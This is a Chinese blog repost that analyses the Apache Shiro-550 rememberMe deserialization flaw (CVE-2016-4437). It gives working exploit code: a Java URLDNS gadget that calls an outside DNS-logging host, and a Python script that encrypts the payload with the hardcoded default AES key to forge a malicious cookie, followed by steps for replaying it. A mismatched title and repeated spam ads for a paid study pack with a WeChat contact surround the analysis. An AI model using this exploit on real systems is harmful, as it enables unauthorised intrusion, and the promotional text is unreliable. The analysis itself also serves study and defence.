当前位置:   article > 正文

Shiro550漏洞(CVE-2016-4437),2024年最新阿里P7深入Binder原理讲解

cve-2016-4437

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

在这里插入图片描述

接着跟进去看看解密函数 decrypt()

在这里插入图片描述

可以看到,第 167 行的 decrypt() 函数,有两个参数,第一个是 base64 解码后的内容,第二个是 getDecryptionCipherKey() 函数,该函数有什么作用呢?

发现该函数返回一个 decryptionCipherKey

在这里插入图片描述

那么这个 decryptionCipherKey 是个什么东西呢?

我们看看谁调用了。

首先发现他是一个变量

在这里插入图片描述

接着看看都有谁调用了这个变量

在这里插入图片描述

首先是 setDecryptionCipherKey() 调用了,有点莫名其妙,再看看谁调用了 setDecryptionCipherKey()

在这里插入图片描述

发现是 setCipherKey() 方法,该方法接受一个 byte 类型的变量

再看看是谁调用了 setCipherKey() 方法,可知是 AbstractRememberMeManager() 方法

在这里插入图片描述

该方法里面,我们跟进去发现它的一个常量,是一个固定的值(kPH+bIxk5D2deZiIxcaaaA== )。

在这里插入图片描述

现在很清晰了,一整条寻找的思路如下图所示,也就是说:this.decryptionCipherKey 就是默认 key kPH+bIxk5D2deZiIxcaaaA== 的 base64 解码的值,也就是密钥。

在这里插入图片描述

返回密钥后进入解密函数 cipherService.decrypt()

在这里插入图片描述

大家都知道 AES 解密除了密钥还需要一个偏移量 IV,之前一直没给出来,所以应该也是在解密函数里面,跟进,跟几步就能看到 IV,字节是 16 个 0,翻译过来就是 ' '*16

在这里插入图片描述

现在解密完成后,开始第二步了:

反序列化

在这里插入图片描述

把解密好的字节进行反序列化

在这里插入图片描述

反序列化调用 readObject() 位置

在这里插入图片描述

至此,我们分析完,我们传进去的 cookie 是怎么解密的了。

小结

shiro 在获取到 cookie 后会进行 base64 解码–>AES 解密(CBC 模式,PKCS5Padding,默认密钥为 kPH+bIxk5D2deZiIxcaaaA==)–> 反序列化。

总体来说分析起来还是很简单,简化一下就是

  • 首先在 CookieRememberMeManager.getRememberedSerializedIdentity 中进行 base64解码
  • 然后调用 AbstractRememberMeManager.convertBytesToPrincipals,其中包含了 AES 解密和反序列化

Shiro550 的根本原因:固定 key 加密,Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

漏洞利用

构造 poc 我们只需要反着来

  1. 生成序列化后的 poc
  2. aes 加密
  3. base64 加密

URLDNS

序列化 poc 如下:

import java.io.\*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSEXP {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://thinqnoxeh.dnstunnel.run");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        //unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
// public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// Object obj = ois.readObject();
// return obj;
// }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32

加密脚本直接拿过来用了,将序列化得到的 ser.bin 放到之前写好的 python 脚本里面跑


from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES

def get\_file\_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data

def aes\_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) \* chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

# def aes\_dec(enc\_data):
# enc\_data = base64.b64decode(enc\_data)
# unpad = lambda s: s[:-s[-1]]
# key = "kPH+bIxk5D2deZiIxcaaaA=="
# mode = AES.MODE\_CBC
# iv = enc\_data[:16]
# encryptor = AES.new(base64.b64decode(key), mode, iv)
# plaintext = encryptor.decrypt(enc\_data[16:])
# plaintext = unpad(plaintext)
# return plaintext

if __name__ == "\_\_main\_\_":
    data = get_file_data("ser.bin")
    print(aes_enc(data))

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40

python 加密生成的恶意 cookie 如下:

在这里插入图片描述

再将 python 加密出来的编码替换包中的 RememberMe Cookie,记着 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。

在这里插入图片描述

在这里插入图片描述

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-CE4HrXBA-1713174027966)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小惠珠哦/article/detail/744022
推荐阅读
相关标签
  

闽ICP备14008679号